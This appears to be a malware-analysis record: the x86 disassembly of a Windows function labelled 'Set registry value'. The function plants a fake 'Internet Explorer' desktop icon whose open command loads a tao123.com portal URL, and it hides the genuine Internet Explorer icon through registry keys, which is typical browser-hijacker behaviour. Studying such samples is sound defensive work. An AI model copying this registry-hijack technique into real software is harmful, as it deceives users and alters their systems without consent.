Function at 0x401e60
Capabilities:
Set registry value

Disassembly:
sub esp, 0x31c
push ebx
push ebp
push esi
lea eax, [esp + 0x10]
push edi
push eax
xor ebp, ebp
push str.CLSID
push 0x80000000
mov dword [esp + 0x20], ebp
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov eax, dword [esp + 0x14]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp eax, ebp
je 0x40217a
lea ecx, [esp + 0x28]
mov dword [esp + 0x28], ebp
push ecx
push str.1E36AF70_D9FD_470D_8B77_6066155A337E
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov edx, dword [esp + 0x28]
cmp edx, ebp
je 0x40217a
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x22c]
lea esi, [esp + 0x22c]
rep stosd dword es:[edi], eax
mov edi, str.Internet_Explorer
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x10], esi
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x22c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
push ecx
lea ecx, [esp + 0x230]
push ecx
push 1
push ebp
push 0x404744
push edx
call ebx
mov eax, dword [esp + 0x28]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
lea edx, [esp + 0x18]
mov dword [esp + 0x18], ebp
push edx
push str.DefaultIcon
push eax
call esi
mov edx, dword [esp + 0x18]
cmp edx, ebp
je 0x401f97
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x2c]
lea esi, [esp + 0x2c]
rep stosd dword es:[edi], eax
mov edi, str._ProgramFiles_Internet_Exploreriexplore.exe
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x10], esi
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x2c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
push ecx
lea ecx, [esp + 0x30]
push ecx
push 1
push ebp
push 0x404744
push edx
call ebx
mov esi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov eax, dword [esp + 0x28]
lea edx, [esp + 0x18]
push edx
push str.ShellFolder
push eax
mov dword [esp + 0x24], ebp
call esi
mov eax, dword [esp + 0x18]
cmp eax, ebp
je 0x401fca
lea ecx, [esp + 0x10]
push 4
push ecx
push 4
push ebp
push str.Attributes
push eax
mov dword [esp + 0x28], ebp
call ebx
mov eax, dword [esp + 0x28]
lea edx, [esp + 0x18]
push edx
push str.Shell
push eax
mov dword [esp + 0x24], ebp
call esi
mov eax, dword [esp + 0x18]
cmp eax, ebp
je 0x40217a
lea ecx, [esp + 0x20]
mov dword [esp + 0x20], ebp
push ecx
push str.Open
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov eax, dword [esp + 0x20]
cmp eax, ebp
je 0x40217a
lea edx, [esp + 0x24]
mov dword [esp + 0x24], ebp
push edx
push str.command
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov edx, dword [esp + 0x24]
cmp edx, ebp
je 0x40207e
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x2c]
lea esi, [esp + 0x2c]
rep stosd dword es:[edi], eax
mov edi, str._ProgramFiles_Internet_Exploreriexplore.exe
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x10], esi
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x2c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
push ecx
lea ecx, [esp + 0x30]
push ecx
push 1
push ebp
push 0x404744
push edx
call ebx
mov eax, dword [esp + 0x20]
lea edx, [esp + 0x24]
push edx
push str.ddeexec
push eax
mov dword [esp + 0x30], ebp
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov edx, dword [esp + 0x24]
cmp edx, ebp
je 0x40217a
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x2c]
lea esi, [esp + 0x2c]
rep stosd dword es:[edi], eax
mov edi, str._ExploreFolder__l_http:__www.tao123.com__1612__s__
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x10], esi
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x2c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
push ecx
lea ecx, [esp + 0x30]
push ecx
push 1
push ebp
push 0x404744
push edx
call ebx
mov eax, dword [esp + 0x24]
lea edx, [esp + 0x10]
push edx
push str.Application
push eax
mov dword [esp + 0x1c], ebp
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov edx, dword [esp + 0x10]
cmp edx, ebp
je 0x40217a
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x12c]
lea esi, [esp + 0x12c]
rep stosd dword es:[edi], eax
mov edi, str.Folders
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x1c], esi
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x1c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x12c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
push ecx
lea ecx, [esp + 0x130]
push ecx
push 1
push ebp
push 0x404744
push edx
call ebx
lea edx, [esp + 0x14]
mov dword [esp + 0x14], ebp
push edx
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerDesktop
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov eax, dword [esp + 0x14]
cmp eax, ebp
je 0x402238
mov esi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
lea ecx, [esp + 0x10]
push ecx
push str.NameSpace
push eax
mov dword [esp + 0x1c], ebp
call esi
mov eax, dword [esp + 0x10]
cmp eax, ebp
je 0x402238
lea edx, [esp + 0x20]
mov dword [esp + 0x20], ebp
push edx
push str.CleanupWiz
push eax
call esi
mov edx, dword [esp + 0x20]
cmp edx, ebp
je 0x402238
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x12c]
lea esi, [esp + 0x12c]
rep stosd dword es:[edi], eax
mov edi, str.1E36AF70_D9FD_470D_8B77_6066155A337E
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x1c], esi
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x1c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x12c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
push ecx
lea ecx, [esp + 0x130]
push ecx
push 1
push ebp
push 0x404744
push edx
call ebx
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea edx, [esp + 0x14]
push edx
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerHideDesktopIconsClassicStartMenu
push 0x80000001
mov dword [esp + 0x20], ebp
call esi
mov eax, dword [esp + 0x14]
cmp eax, ebp
je 0x402275
lea ecx, [esp + 0x1c]
push 4
push ecx
push 4
push ebp
push str.871C5380_42A0_1069_A2EA_08002B30309D
push eax
mov dword [esp + 0x34], 1
call ebx
lea edx, [esp + 0x14]
mov dword [esp + 0x14], ebp
push edx
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerHideDesktopIconsNewStartPanel
push 0x80000001
call esi
mov eax, dword [esp + 0x14]
cmp eax, ebp
je 0x4022ac
lea ecx, [esp + 0x1c]
push 4
push ecx
push 4
push ebp
push str.871C5380_42A0_1069_A2EA_08002B30309D
push eax
mov dword [esp + 0x34], 1
call ebx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x31c
ret